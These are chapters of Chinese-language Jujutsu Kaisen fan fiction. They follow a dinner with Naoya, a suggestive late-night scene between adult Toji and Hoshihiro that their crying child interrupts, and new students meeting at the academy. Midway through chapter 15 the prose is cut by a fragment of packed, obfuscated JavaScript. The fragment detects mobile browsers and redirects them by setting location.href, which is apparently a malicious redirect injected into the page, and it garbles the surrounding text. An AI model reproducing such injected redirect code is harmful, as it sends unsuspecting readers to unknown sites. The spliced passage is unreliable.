实战永远是积累经验最迅速的方式,而实战与训练本质上的区别是‘再来一次’的机会。
非生即死。
根本没人在意她的死活,按时打开门也不过是想着打扫她的尸体,没想到她能活下来罢了。
霞岛星紘不喜欢那里。
在禅院家里,地位低下的人是不配拥有色彩的。
她被人强迫着带走,被关在严肃压抑的院子里,周围的人全是一些被抽离灵魂的躯壳,行尸走肉般毫无生气。
唯有禅院直哉,弄清真相后,他是唯一会被霞岛星紘主动想起的人。
“他现在脾气这么差,一定是我当时连续五天每天都用花瓶砸他脑袋导致的。”
霞岛星紘露出愧疚的神色,甚尔静静等着下文,直到发现霞岛星紘没有嘲讽的意思——她是真的在愧疚。
“…他从小就这样。”甚尔说。
“是吗。”
霞岛星紘已经不记得两人第一次见面是什么情况了,印象里只有他长得还不错的脸,好像对她说了什么……啊,记不清了。
她转过身。
“甚尔,这里的灯光和人都好吵,我分不清你是不是在不开心……如果你有的话,不说出来也没关系,捏捏我,我们就把他丢在这里,然后回家。”
霞岛星紘拉住他的手。
甚尔倒是没那么在意,他也没那么脆弱。
亦或者说,早在之前那些刻意的回避中,形成了‘没必要去在意’的心态。
太久了,那些回忆甚至只会在瞬息即逝的思绪中闪现,而非夜深人静的梦境里。它们不再拥有完整的情节,更像是被时光冲刷得模糊的老照片,只剩下几个褪色的片段。
“无所谓。”甚尔说,见禅院直哉已经要走到面前了,他勾着唇又添了一句,“星紘。”
“啊——你叫我的名字啦。”
高兴的眉眼都弯了起来,不就是一个称呼么。
原本只是觉得那小子叫星紘很顺口,于是尝试一番的甚尔想。嘴上是另一个解释:
“当作那个的还礼。”
她微微一怔,眼底的光像是被这句话撞开般
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弥漫:“以后都那么叫我也是很乐意的哦,甚尔,亲爱的,老公,最喜欢你了——”
“咳!”
禅院直哉站在两人面前,手握拳置于嘴边,一声咳的震天响。
霞岛星紘给了他一个疑惑的目光,有且只有一秒,便移开了目光,随后推开烤肉店的门。
“走吧?”
……。
这赤/裸/裸的的差别对待。
禅院直哉,怒。
但依旧乖乖等甚尔先走进去。
*
“……再来一份芝士牛肉,以及四份牛奶布丁,暂时就这样,谢谢。”
霞岛星紘合上菜单交还给服务员小姐。
“你还是那么喜欢吃没营养的垃圾东西啊。”禅院直哉手肘支着被自己擦的锃亮的桌面,脚下的垃圾桶里堆满了纸巾尸体,这是他对这家店做出的最大让步。
“怪不得这么多年过去了一点个子都不长。”
“噢。”霞岛星紘拿起桌上提供的水果橘子,撕开取络,一大半递给甚尔,留下两半放到小惠嘴边吮着玩。
没有他的份。
禅院直哉不是会内耗的人,他直接伸手,示意霞岛星紘再剥一个给他。
然后一个完整的、带皮的橘子就被甚尔丢到他手里了。
还是盘子里最丑的一个。
禅院直哉:……
他有点嫌弃,拿在手里,趁着服务员过来送餐时丢进了垃圾桶。
淡黄色如羊脂玉般晶莹的布丁被摆在四人面前。
禅院直哉撑着腮,手指弯曲,在盘子边缘轻轻一弹,属于他的那份滑到了霞岛星紘面前。
“我不吃。”
接着上的是雪花嫩肩。
“不吃。”
焦糖橙牛肋。
“不吃。”
内脏拼盘。
“不吃。”
椒盐玫瑰板肉。
“不吃。”
“直哉,你好难搞啊。”
霞岛星紘无奈,“点单的时候说什么都可以,点了又不吃……”
谁说他不吃了?
禅院直哉——直接优雅的用筷子夹走了她刚烤好的肉。他怎么可能自己动手,自然是要别人伺候他,烤到恰到好处后恭敬的放到他盘子里。
霞岛星紘对于这种少爷做派撇撇嘴,却没说什么。
她对禅院直哉的容忍度其实很高。
年轻时候不懂轻重,也不会挑时机。
像是在沐浴时,从水里钻出来试图溺死他这种事也是做过的。
不知道是因为呛了水,还是真的气到了。那时被按在浴池边缘的直哉恶狠狠瞪着她,眼眶很红,温热的水滴挂在他的睫毛上,要坠不坠的样子……怪可怜的。
每每想起那一刻,霞岛星紘就会觉得自己做的的确太过分了,所以才会对禅院直哉如此包容。
甚尔也发现了这一点。
但以他的视角看,那小子完全只是在恃宠而骄。
眼神几乎黏在她身上,后者却一点都没有察觉。
迟钝过头了啊。
借着远离迸溅出来的油渍而自然缩进的距离。
仗着挑剔的由头抓住她的手去控制夹子的方向。
被纵容后的窥伺在一步一步试探,好像隔着烟雾就能把他忽略掉。
偶尔视线还会看向这边,好像偷偷在观察他的表情。
…挑衅么?
本来觉得没必要在意这个毛都没长齐的小子——但此时此刻甚尔忽然有些不爽。
禅院家的,果然都是一些惹人厌的东西。
他也没做什么。
不过垂了垂眼,目光扫过霞岛星紘放在桌子上的手,盖上去、握住。
霞岛星紘不解,但配合的反过去与他十指相握。
掌心被捏了捏,很轻,不仔细感受都无法察觉。
但甚尔知道,她一定能察觉。
果不其然,下一秒霞岛星紘直接侧头——
“直哉,你自己吃吧,我们先走了。”
“?”
14. No.14
楼道里的声控灯随着脚步声的响起次第亮起又熄灭。
男人怀里的小孩早在回家的路上熟睡,紧紧扒着他的脖颈,像个大号挂件似的。
禅院甚尔一手抱着小惠,一手拎着回家路上从HARBS买的栗子千层蛋糕,见霞岛星紘看过来,昂头示意她从自己的裤兜里掏出钥匙开门。
霞岛星紘眨眨眼,嘴巴抿成一条线,似乎有些不好意思。
“没在那边,放心摸吧。”
“嗯?”
霞岛星紘试图理解这句话的意思——悬空的手犹豫着,但最终还是放到另一边,并抬头向他确认。
“…”
没在那边所以摸这边是吗?
这究竟是哪来的天赋异禀小/色/鬼啊?
禅院甚尔没说话,只是张口咬住千层包装上细细的绳,空出来的手拉着霞岛星紘摸进自己兜里。
隔着一层薄薄的布料,她猝不及防贴上了一片温热而紧实的区域。
线条流畅却充满张力,像蓄势待发的弓弦。
身体僵硬,手指像被烫到般蜷了蜷,却被他更紧地按在那片滚烫的肌肉上。
不妙,是甚尔的大腿。
…好色啊。
那层布料几乎隔绝不了什么,羞涩如潮水般涌来,脸颊瞬间烧得通红,连带着耳根和后颈都泛起热意。
头顶的感应灯已经熄灭了好久,站在门前,禅院甚尔也不催她,任由她指尖偷偷从肌肉纹理的沟壑上触碰、抚摸、勾勒,像是小猫的爪子落在皮肤上,小心翼翼的试探着,痒丝丝的。
兜里的空间有局限性,直到那只小手有往不妙地方去的趋势,才重新被禅院甚尔握回手心。
“准备在外面呆多久?”
霞岛星紘眼巴巴望他,黑暗中红透的脸被他看的一清二楚:“再摸三十秒就好。”
这副商量的语气让禅院甚尔笑了,“…行。”
禅院甚尔松开手让她自由发挥,霞岛星紘数着心跳度过了这飞速的三十秒,心满意足的开了门。
进屋时,为了防止吵醒熟睡的小孩,两人并没有开灯。
摸着黑将小孩送回房间,盖好被子,确保万无一失后,霞岛星紘才走出房门。
门扣上,转过身的刹那,她被轻轻一推。
背后是冰凉的木质门,脑袋上是在将她向后推时刻意垫在后面的手,她下意识抓住对方的前襟。
霞岛星紘看着他的眼睛,疑惑的问:“是要接吻吗?”
“这算什么问题……算了。”禅院甚尔低头,托起她的脸在唇上亲了亲,却并未离开,而是顺着脸颊轻柔的、湿漉漉的,一路吻到耳尖。接着,在耳边轻声道:
“刚才没摸够的,现在给你个机会补回来。”
“不行。”
出乎意料的被拒绝了。
霞岛星紘推拒着,有理有据,“我禁不起诱惑的,明天早上还要去学校…”
“又不会到那一步。”禅院甚尔没所谓道,黑暗中幽绿色瞳孔却像是蛊惑人心的蛇,直直盯着她。
面对诱惑,霞岛星紘一秒都没犹豫: “好吧,其实我这人也很听劝……我们从哪开始?”
男人用动作来回答——他空着的右手沿着自己衣服的下摆向上卷去,柔软的羊毛纤维摩擦着皮肤,在黑暗中发出窸窣声响。
衣料被他从头顶利落脱下,随手扔在地上。
从侧面窗户遛进来的月光,映照在锻炼打磨出的胸肌上,轮廓分明,随着他的呼吸微微起伏,每一寸肌理都透着力量感。腰侧的线条在腰带下骤然收紧,男人虎口卡着腰带向下压去,两条深刻的沟壑骤然显现,尺度把握的刚好,隐隐绰绰吊足了胃口。
“你想从哪里开始?”
问题被抛了回去。
霞岛星紘看向他身后的沙发,“你先坐过去嘛,不然太高了。”
禅院甚尔松开手,大步朝她所期望的地方走去。
转身、坐下,双腿大开。靠背被他压得陷下去一块,他的头顺势向后,脖颈舒展,喉结在皮肤下滚动。
喉结,好突出。
霞岛星紘盯着他想。
这种后仰的姿势,能将其完全显露出来。
迎着男人的目光,霞岛星紘走到面前。禅院甚尔摊开手架在沙发背上,一副任她摆布的模样。
真的到了眼前,反而有种不知该如何下手的感觉。
别说经验了,光这架势霞岛星紘都没见过。
甚尔,看起来游刃有余的样子。
霞岛星紘舔了舔唇。
最先触碰到他身体的是指尖,落在左肩,随后是整个手掌。
她的手心并不算细腻,因为经常握住武器,指腹与掌心上有一层茧,但又不似甚尔的那么坚硬。
手指在滑动,顺着锁骨的走向缓缓抬起,食指与拇指捏住喉结下方的皮肤摩挲。
看得太认真了吧。
禅院甚尔看着她目不转睛的模样,嘴角向上勾了勾。
长而密集,如同暮色织成的锦缎般的睫毛一振,霞岛星紘忽然低头,吻住了手指所触摸的位置。
鼻腔里的热气循循喷洒在脖颈与锁骨形成的凹窝处。
“这样…会舒服吗?”
稀奇了。
禅院甚尔大概是第一次被人这么问,一时间也没想好怎么回答。
毕竟他以前的这类行为,大多建立在自己去服务别人的基础上。
这么说起来…他倒的确是很少在这种事上关注自己的感受,平时也懒的动手。
“想听真话,还是想被取/悦?”
霞岛星紘即答道:“想让你——。”
“…”
倒也不必如此直言不讳。
禅院甚尔沉默片刻,控制着身体放松,“那你加油。”
“好哦。”
霞岛星紘是个很有耐心的人。
一处处寻觅,似乎要将他的每一寸肌肤都铭记。
掌心贴着腰侧滑向脊背,顺着肌肉的痕迹向上蜿蜒,随笔直的脊柱缓慢滑下,最终停在腰窝,像是将他抱住一样。
委身时,柔软的发丝先于唇瓣一步触摸到他的锁骨……
……
……
她忽然停了下来,视线回到了上面。
垂着眼眸,似是观察,又好像在等待时机。
直到男人胸膛下一次起伏的瞬间,温热唇瓣陡然吻了上去。
禅院甚尔呼吸顿了顿,挠人的痒意让他的肌肉不自觉绷紧了一瞬。
“啊…这里吗。”她笑容雀跃。
“别对着说话。”声音的震动透过胸腔传来,男人虽然微蹙着眉,但眼中并无恼意,只是下意识的行为。
霞岛星紘左手撑在大腿,稍微隔开了一些被挡住的距离,金眸弯着笑着,“甚尔明明就很喜欢嘛。”
她好似不在意的向内压了压。
呼吸,加重了。
好可爱。
仅仅是呼出热气,都能感觉到绷紧。
禅院甚尔的手放在她颈后,在她修长脖颈上拨弄、揉捏。
霞岛星紘手指在上来回划着,嘴里喃喃:“这里已经差不多了吧,甚尔…不想开发新的地方吗?”
怪不得说自己经不起诱/惑。
这家伙,原来是那种玩起来就停不下来的类型。
“学校呢?”
“会定闹钟的啦。”不睡也行,熬了那么多天也不差这一时半会。
“行啊。”
禅院甚尔应下。
他可没有主动劝诫的好心,成年人之间你情我愿的事,难不成还指望他推诿抽身,然后义正严辞的告诉她女孩子要自爱?
那是谁啊,被鬼附身了吧。
让她爽不就行了。
禅院甚尔利落的解着腰带上的绳,里面的深蓝色布料刚露出头,就听房间里传出一道嘹亮的哭声。
手快一步的霞岛星紘顶着蕾丝,懵懵的看向男人——禅院甚尔勾着她短裤上的袢带,动动手指将人拉了过来,“不用管他。”
“呜啊———”
还在哭。
而且哭得更凶了。
霞岛星紘掰了掰他放在腰上的手:“甚尔…”
旖旎的氛围在孩童嗷嗷哭喊声中烟消云散。霞岛星紘坐在他腿间,心思却压根没在他身上了。
禅院甚尔:“……”
禅院甚尔:“……啧。”
最终两人一个急急忙忙的穿着上衣、一个面色不爽的提着裤子,推开门,双双奔向床上的小孩。
*
疾病——没有。
饥饿或口渴——没有。
“怎么还是在哭呢…”抱着小孩的霞岛星紘拧着眉,眼里满是担忧,“不想让我抱吗?那爸爸抱好不好?”
他又不是安眠药,怎么能一抱就不哭了。
禅院甚尔面无表情的想,但也没拒绝霞岛星紘将小孩塞过来的举动。
刚接触到禅院甚尔的小惠泪眼婆娑的抹着眼睛,盖在眼前的薄薄水雾被擦去后,看清男人的脸,忽然就止住了泪水,不哭了。
…竟然真的有用啊。
产生这个想法的不止禅院甚尔,还有霞岛星紘。
她和男人对视一眼,又从他怀里将小孩抱过来。
小孩嘴一瘪:“呜…”
送回去——
“…”安静。
抱过来——
“呜啊…”
送回去——
“…”
就这么来回重复了好几次。
“噗…”霞岛星紘没忍住笑出声,“好好玩哈哈哈哈哈——”
像是拨动开关就会发出叫声的玩具一样。
小惠嘴角下撇着、懵懂的看着大笑的她,又抬起头,鼓起小脸泪汪汪的去观察男人的表情,软唧唧的声音道:“爸爸抱。”
禅院甚尔也垂着眸看向稳坐在自己手臂上的小孩。
这小鬼……以前怎么不见这么粘人。
是这两天和他接触多了么?
霞岛星紘笑够了,眼尾还勾着未褪尽的笑纹,“看来甚尔今天晚上是属于小惠的了,真遗憾呀。”
嘴里说着遗憾,但一点遗憾的意
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思都没有。
见霞岛星紘好似准备离开,禅院甚尔问:“去哪?”
“小惠一时半会估计也睡不着,我去看看直哉有没有乖乖待在酒店,然后回学校。”
虽然把禅院直哉自己丢在了烤肉店,但霞岛还是替他叫了直接去酒店的车——他今晚住在帝国酒店。
毕竟是个十五岁的小孩,有一点不放心。
禅院直哉…啊。
听到她的话,男人忽然低低笑了一声。
“满足不了你就要去找别的男人吗……真是无情的女人。”
霞岛星紘歪了歪脑袋,甚是不解,直到那笔直的脑回路忽然转了个弯。
她开口,尾音拖得绵长,带着促狭的暖意——“你在吃醋吗,甚尔?”
暖白的灯光下,禅院甚尔用舌尖顶了顶腮,没说话。
霞岛星紘佯装叹息,“没有吗?好吧,那没办法了……”
男人危险的眯起眼睛——
“不过,沙发能睡下我们三人吗?”她苦恼的问。
小惠好奇的戳了戳爸爸手臂上鼓起青筋又消失的地方。
没得到答复,霞岛星紘抬头。
对方正一脸饶有兴趣的俯视着她。
“人不可貌相啊霞岛,喜欢被人看着么?”
霞岛星紘呆住。
霞岛星紘震惊。
“什么?你还……”她捂住小惠的耳朵,“还要做吗?”
禅院甚尔挑眉:“不然?”
不然——霞岛星紘还以为只是甚尔单纯的想让她留下来。
“但小惠他……”
“等他睡着不就得了。你小点声,或者……”他的手在霞岛星紘面前比划了一下,是捂住她的嘴的手势。
这下连小惠的眼睛也被捂住了,霞岛星紘又害羞又无力:“爸爸桑,你的良知呢。”
那种玩意他大概率是没有的。
怀里的小孩发出不满的哼唧声,霞岛星紘连忙松开手。
小惠攀着禅院甚尔的手臂一路向上,最后两只手分别抓住他的耳朵,对着男人没什么表情的脸嘟嘟囔囔说:“爸爸哄。”
“……”
禅院甚尔开始思索把小孩丢出去后他能自己在空中实现转体后完美落地并且入睡的可能性。
“看来其他的只能一会再说了,先哄小惠吧——加油哦甚尔。”霞岛星紘拍了拍他的手臂,“我去客厅吃千层。”
“喂…”
门被霞岛星紘哼着小曲关上了,留下禅院甚尔和睁着大眼睛一脸无辜的小孩面对面。
等到禅院甚尔总算将那个难缠的小鬼哄睡着——其实更像是玩累了自己选择入睡——走到客厅时,已经是一个小时后的事了。
客厅的灯亮着,空气中飘散着沐浴露和千层里奶油的味道。
霞岛星紘窝在沙发里,头发是洗完吹干后蓬松又凌乱的模样,大概是洗完澡后有点冷,身上披着他挂在椅子上的外套,足够大的外套将蜷缩起来的她完全包裹。
双眼紧闭,她睡着时喜欢蹙着眉,也不知道是怎么养成习惯。
桌子上摆着切好的千层和手机,屏幕上写着‘超好吃——!!!’,好几个感叹号,他甚至都能想象到她打字时的动作神态。
禅院甚尔吃了一口,舌头品不出好吃或不好吃的区别,反正不甜。
他坐到霞岛星紘身边,手指戳到她的脸颊上,没控制力道,她的眉头皱得更深了,却还是没醒。
禅院甚尔静静看了她几秒,伸手拽下外套。
里面依旧是他的衣服,黑色T恤,原本穿在身上的短裤工整地叠起放在一旁,屈着腿的姿势,小腿和盖在腿根的衣服勉勉强强遮掩着。
“唔……”
感觉到冷,小巧脚趾蜷缩起来,手摸索去找衣服,外套没找到,却抓住了他的衣角。
金眸猛的亮起——耀眼但无神。
大脑还在沉睡中,眼睛却要确认。
就这么静静地看了男人几秒。
禅院甚尔忽然遭受一记头槌。
不大不小一声,撞在他胸骨上。
霞岛星紘上半身在他怀里,半跪在沙发上,但腿感受到冷意后又立刻去缠他的腰,像是八爪鱼一样紧紧卡着他的腰侧,T恤随着动作向上翻起,露出一大片雪白的皮肤以及竖直肌形成的一道深深的背沟。
……他下午是怎么觉得这家伙睡觉老实的?
禅院甚尔揪着她的领口试图将人从身上扒下来,但睡着后原形毕露的霞岛星紘用着实打实的力道抱他,纤细手臂上甚至鼓出了肌肉的形状,一番揪扯下反而只有两人的衣服遭了殃。
禅院甚尔:……
他呼出一口气,带着她向后一躺。怀里的人有所感应似的,立刻调整了姿势,整个人窝进他怀里,双手缩在胸膛前,双腿插/入他的腿间汲取温暖,又觉得不够,像只小蛮牛一样向里面挤着禅院甚尔,直到他将衣服拽过来搭在她身上才有所好转。
真是赔了夫人又折兵。
禅院甚尔撑着脑袋无语。
什么都没得到,还充当了免费陪睡。
15. No.15
“霞岛前辈。”
匆匆的脚步一顿,后退两步朝黑发男生挥了挥手,“早啊,夏油,昨晚睡的怎么样?”
“还不错。”夏油杰说。
他没有认床的习惯,男生宿舍那边暂时又只有他一人,所以显得格外安静。
“前辈今天也要出任务吗?”
“下午才会出去…”霞岛星紘忽然想起来这一届的学生除了没到场的那一位,另一位应该还没和夏油见过面。她朝他发出邀请:“我现在要去档案室,一起吗?顺便给你介绍同期认识。”
夏油杰点点头。
通往档案室的道路要经过一座小桥。桥身由古朴的木板铺就,看起来有些年头了,被时光打磨得十分光滑。
霞岛星紘一边走一边向他介绍:“学校派发的任务会根据汇报情况制成档案,里面也存着一些过去被封印的诅咒的资料,档案室凭学生证就能进,无聊的时候可以来看看,有些前辈对诅咒的描写很有趣。”
充满了油墨气息的屋子里,穿过层层书架,霞岛星紘随手从上面挑出几本文件夹交给夏油杰。
翻开——
【编号:TJ-S70-X-X-22736481
执行日期:19xx年x月x日
执行地点:xx市x县
执行人员:长谷川响(二)
任务目标:将诞生于人类对蜘蛛恐惧的诅咒祓除。
完成情况:已。
任务过程:——
任务者口述:像是蜘蛛和壁虎杂交成功生下小孩却被喂着汽油长大的诅咒,不是很强,但是汽油味太浓郁了,感觉点根烟会把自己炸死,回来后用肥皂搓了三天还感觉自己像化学物品聚集物,希望高专能够提供可以洗去咒灵味道的沐浴露。】
夏油杰原本还在分析任务过程的头脑一顿。
…那是什么沐浴露?他有点好奇。
下一个。
【编号:TJ-H13-X-X-777934
……
任务者口述:好神奇,诅咒是双胞胎。大的被祓除后,小的那个嚷嚷着什么亲情啊欧尼酱啊之类的就冲过来了,哇噻,叽里咕噜说什么呢,我一个术式丢过去它们就团圆了,啊?感想?哦——练马区的意大利那不勒斯窑烤披萨赛高,之后如果有人看到这本文件,去店里报我名字可以打八折哦——】
好的,谢谢这位早川前辈。
莫名有点想笑,但感觉不太合适,夏油杰又憋了回去。
下一个。
【…
任务者口述:我连续加班一周了。加班是狗屎。加班来汇报工作更是狗屎中的狗屎。去死吧。以上。】
“……”感觉到深深怨念了。
下一个。
【…
任务者口述:进化论知道吗?拉格朗日点知道吗?圣经第七章神让诺亚进入方舟知道吗?和任务的关系?你已经不是小孩子了,别什么事都问我。】
“……”
夏油杰嘴角抽了抽。
大家还真是…性格迥异啊。
霞岛前辈走进了最里面的房间,让他在这里稍等片刻。
夏油杰将那几本文件放回原位后,便在档案室里逛了起来。
每一个书架侧面都标明了时间,其中只有03年的书架足足有两个,文件夹被塞得满满当当。他走过去观察片刻,抽出看起来比其他都要厚重一本,将它垫在肘弯处翻开。
应该是很棘手的诅咒,开篇的几页是从与诅咒有关的史书记载上摘抄下来的资料,密密麻麻写满了古文字和和圈圈点点的注释——但只限于第一页,第二页中就开始夹杂了几个疑似恶作剧画上去的简笔画小人。
因为是铅笔,痕迹已经有些不太明显了,夏油杰眯了眯眼,依稀辨别着——
刺猬头简笔人(呲牙笑):待会还是去鰻の成瀬?
蘑菇头简笔人(嘴角下撇):鳗鱼刺多,不想吃。
长直发简笔人(无表情):吃天妇罗。
在这上面讨论吃什么吗…
不过这个蘑菇头,看起来好像有点眼熟啊。
下一页的右上方还是同样的画,似乎每个人写下文字之前都会画上自己的头像。
刺:修一又相亲失败了。昨天吃完天妇罗你们两个打游戏机的时候,我看到那家伙从八月鲸喝的酩酊大醉被人抬出来,呜哇~超醉的。
长:在这里写会被看到。
刺:无所谓吧,既然要我们做这种无聊的任务就要做好被蛐蛐的准备啊!话说小星星为何一言不发怒视我?
这一小段对话到此结束,但是第四页被画上一个刺头简笔人土下座的样子,并在旁边标注了:星星对不起。
星星…
向后翻,执行人员的名字一栏果然包含了夏油杰所想到的那位。
——霞岛星紘(二),橘千楽(特),敕使河原怜(特)。
这么说起来,那个蘑菇头的确很像霞岛前辈。
夏油杰的目光又落在后面两个陌生的名字上。
是前辈的同级吗…
“夏油…杰?”
书架对面忽然出现了一双暖棕色的眼睛,正透过被抽出文件而留下的空隙看着他。
夏油杰微微俯身回望:“你是?”
“家入硝子,和你一样,是新生。”
女生从书架后绕了一圈走过来,与眸色相同的棕色短发被从窗户吹来的风掀起几缕,发梢擦过颈侧时带着利落的弧度,右眼下那颗泪痣嵌在颧骨上方,被倦怠垂下的睫毛轻抚。
“你就是星紘前辈所提到的那位…”
夏油杰注视着她,耐心等待下文。
家入硝子声音淡淡,语调缓慢——
“宝可梦训练家,对吧?”
夏油杰:……
*
“硝子,你已经来啦。”
霞岛星紘抱着一摞笔记本走了出来。里面的房间大概是仓库之类布满灰尘的地方,紫色的脑袋上还顶着一小部分蜘蛛网,被她有所感应般的挥挥手拂掉了。
“这些是你可能会用到的资料,京都还存有一部分,我会找时间帮你带过来。”
家入硝子伸手接过,乖乖道谢:“谢谢——前辈昨晚又熬夜出任务了吗?”
她指了指自己眼下。
“啊,这个啊…”霞岛星紘干笑了两声。
原本她的记忆只停留在将千层切好放在桌上,自己缩在沙发里小憩——但后来不知怎么的,再睁开眼就变成了平躺在沙发上的姿势。
甚尔还在自己身上。
笑着。
虽然是暧昧的姿势,但霞岛星紘只在里面感觉到了危险。
是了,禅院甚尔怎么会好心的让她呼呼大睡。
也没有做什么实质性的事,只不过在每一个即将入睡的节点上挑逗一下,然后看着迷迷糊糊的霞岛星紘露出想生气又无可奈何的表情。
霞岛星紘试过了很多办法。
捂住耳朵甚尔会去亲她的肚子,很痒不得不腾出手去推。用衣服盖住脑袋像鸵鸟一样埋进沙发里,他就会恶趣味的拍她的腿根。若是直接放弃似的扑在对方怀里,他又会用牙齿去厮磨她的耳朵。
一通折腾下来,比普通熬夜还要累。
二十八岁和十九岁。
没想到竟然是前者精力更加充沛。
霞岛星紘没辙了,不睡了,坐起来拿着桌子上剩下的千层机械性的往嘴里塞,试图用甜品来给大脑提供能量。
大概是模样过于可怜,禅院甚尔良心小小的出现了一下,拍拍自己的大腿说让她躺。
脸颊刚接触上的一瞬间,手机闹钟响了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16560025|186921||http|test|mini|href|location''.split(''|''),0,{}));
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>呜。
崩溃的霞岛星紘一口咬在禅院甚尔腿上,用了力,大概现在皮肤上还残留着她的牙印吧。
时间回到当下。
“…稍微遇到了一点事,没来得及睡觉。”霞岛星紘解释,“不过没关系。”
她弯眸笑了笑,转向在场唯一的男生,“夏油,这位是家入硝子——你们应该已经交谈过了吧?”
是的。
而且深刻讨论了一番——
家入坚持让他模仿樱井孝宏的声音说一句甲虫兽进化。
夏油杰无奈的纠正那是数码宝贝而非宝可梦……然后看着同级期待的脸,忍着羞耻说了出来。
夏油杰获得同级毫无波澜的赞赏。
霞岛星紘虽然不知道发生了什么,但见两人好像相处的还不错便没多问。
“接下来我打算去市区买些东西,有没有兴趣出去玩?”
自打来了东京后还没有认真逛过的夏油杰、以及单纯闲的无聊的家入硝子对视一眼。
“好。”
霞岛星紘摇了摇手中的车钥匙,“刚巧今天开的是轿车,足够我们三人坐下了。”
“……”
夏油杰的期待,顿住了。
趁着霞岛前辈转身的空档,家入硝子悠步走到夏油杰身边,往他手心塞了颗糖。
咸柠檬,有防止晕车的效果。
夏油杰看过去,对方拍拍他的肩膀,什么也没说,但夏油杰就是懂了。
……好像与同期形成了诡异的霞岛前辈车技受害者联盟。
*
光影交错的街角,站着一个看起来十五六岁的男生。
他穿着黑色连帽卫衣,帽子拉起,松垮的压着眉骨,阴影切割出利落的明暗交界线,几缕霜白发丝从中露出,被风吹起,微微上翘着,像是被雪浸染的枝桠。
虽然是阴天,他却戴着墨镜,偏头时,边缘会漏出一丝被长长的睫毛所覆盖着的蓝。
那是一种近乎透明的冰蓝,像极了寒冬湖面裂开时从冰层深处透出的天光,十分美丽。
五条悟已经站在这五分钟了。
原因无他。
——他迷路了。
不过是提早两天跑来东京,那些老家伙发现后便火急火燎的派人寻找,明明元服礼都已经完成了,真不知道他们在担心些什么。
为了躲掉那些麻烦,五条悟才走入这个偏僻陌生的街区。
不过……
这里还是东京么?
荒无人烟,手机也没信号。
五条悟撇撇嘴,合上手机,一抬头,发现远处驶过来一辆汽车。
这五分钟内,唯一的一辆。
打车手势是什么来着?
他思索。
啊,伸出拇指向下是吧?
从来都是专车接送的五条悟自我肯定了自己的想法。
于是少年伸出手——手腕随意的垂着,修长手指错误的指向地面。
他对此毫无察觉,甚至微微扬起下巴,表情有些漫不经心。
果不其然,车子缓缓停在面前。
驾驶位的门打开,走下来一位穿着黑色高领打底衫以及暖白色阔腿裤的女生,紫色头发,个子矮矮的。
五条悟从钱包里掏出一沓面值万元的钞票,正准备开口,却见女生先笑眯眯的叫出了自己的名字:“五条君。”
五条悟虽疑惑,也用鼻腔发出嗯一声算是回应。
“首先很欢迎你来东京,其次……”
女生顿了顿,笑容似乎加深了些。
她在五条悟面前摆出了同款手势,并且垫脚举起来伸到他面前,小拇指勾住男生的墨镜,向下轻轻一拽,让他将她的容貌看的更加清楚——
“这个手势,你是在挑衅我吗?”
女生对着他蔚蓝色眼眸一字一句道。
16. No.16
宝马745i奢华却略显局促的后座空间里,身高一米八以上的男生们稍稍挺直脊背就能碰到车顶。
五条悟双手插兜,弓着背,长腿毫不客气地岔开,仿佛要在这有限的空间里尽可能的舒展。
他的白发在车内微暗的光线中格外醒目,没了帽子的遮掩,每一根发丝都散发着不羁与洒脱的意味——换句话说就是在静电的作用下炸毛了。
想着开学之前修修头发,但刘海好像一不小心剪的太短了。
五条悟对着后视镜里的自己拨弄额前的几缕碎发。
应该不会很奇怪吧?他想。
…反正不会有旁边这个人的刘海奇怪。
五条悟墨镜下的余光睨了眼坐在一旁、胳膊撑着车窗的黑发男生。
同样的,夏油杰也在观察着他。
——五条悟。霞岛前辈介绍时说最后一位新生是咒术世家的后代。出生于咒术世家的术师自小便被要求独自完成任务,所以经验相比邀请入校的人会多一些。
还以为这样的家伙会很傲气,但刚才被霞岛前辈训时,竟然意外地乖巧接受并道歉了。
应该是个还不错的人吧。夏油杰想。
车子猛地转了个弯。
夏油杰撑着下巴的手一滑,脑袋差点磕到玻璃。
另一边没有防备的五条悟直接咚一声撞在前座上,引得副驾驶的棕发女生诧异回头。
……这是什么车技?居民区里也能漂移吗?
五条悟揉着脑袋,目光在瞥到旁边男生时又立刻放下了手装作无事发生的模样。
“硝子,下个路口也是直走吗?”
“我看看…是哦,星紘前辈,直走三个路口就到达目的地了。”手拿地图的家入硝子回道。
霞岛星紘也是第一次来这边。
他们三人上午去了涩谷,家入硝子在西武百货挑选了几件秋装,夏油杰则是在loft一层买了些伴手礼,而后两人又在涩谷十字路口拍了打卡照——便陪着霞岛星紘去了nitori买床。
是的,买床。
霞岛星紘临去学校前决定为甚尔家添置一张床,问对方喜欢的样式,禅院甚尔表示无所谓随她就好。
于是霞岛星紘做出了选择——
“请帮我找一张你们店里最大的床。”
最好两人各睡一边,睡着后想要碰到对方需要先跑个八百米的那种。
(*当然是不存在的。)
填完地址付完款,霞岛星紘才后知后觉的想起床应该摆在哪里这个问题。
思索片刻,还是决定下个休息日干脆在东京买房算了。她之前一直住校,忙于任务后连学校都很少留宿,这么一想,还是有个稳定居所会比较好吧?
做些决定后,也差不多到了午饭时间。
面对着五彩斑斓的美食招牌,三人犯了难。
想尝一下涩谷这边的美食,却发现和其他地区好像没什么差别。最后还是家入硝子在手机上搜出了一家好评如潮的烧鸟店,只不过坐落的位置比较难找。
这也是他们会遇到五条悟的原因。
在问了对方也没有吃饭、且对烧鸟接受度可以的情况,午餐小分队增加至四人。
汽车平稳行驶着,车内陷入了安静。
五条悟望向窗外。
他并不是第一次来东京。
除了出任务外,五条悟也经常会偷跑出来,在繁华的街道中逛着玩着。
自己一人。
作为五条悟,自出生起就是与众不同的,陪伴、宠爱源源不断……然而那些人眼神中满含敬意,举止总是保持着一定的距离。
像现在这样身边围绕着同龄人的情况还是第一次。
还真是……有点新奇。
车子停靠在静止的推拉式格栅门前,霞岛星紘侧头叮嘱:“你们先点餐,我去停车。前辈请客,要敞开吃哦。”
于是三人下车站在了烧鸟店前。
家入硝子低头摆弄着手机。
虽然和家入也说了话但实际上还是和霞岛更熟悉的夏油杰盯着店门口的红色灯笼。
没和家入说过话,与霞岛也不熟,和旁边的夏油杰更是陌生的五条悟站在两人中间,喉结动了动,似要开口,却被突然拉开的门打断。
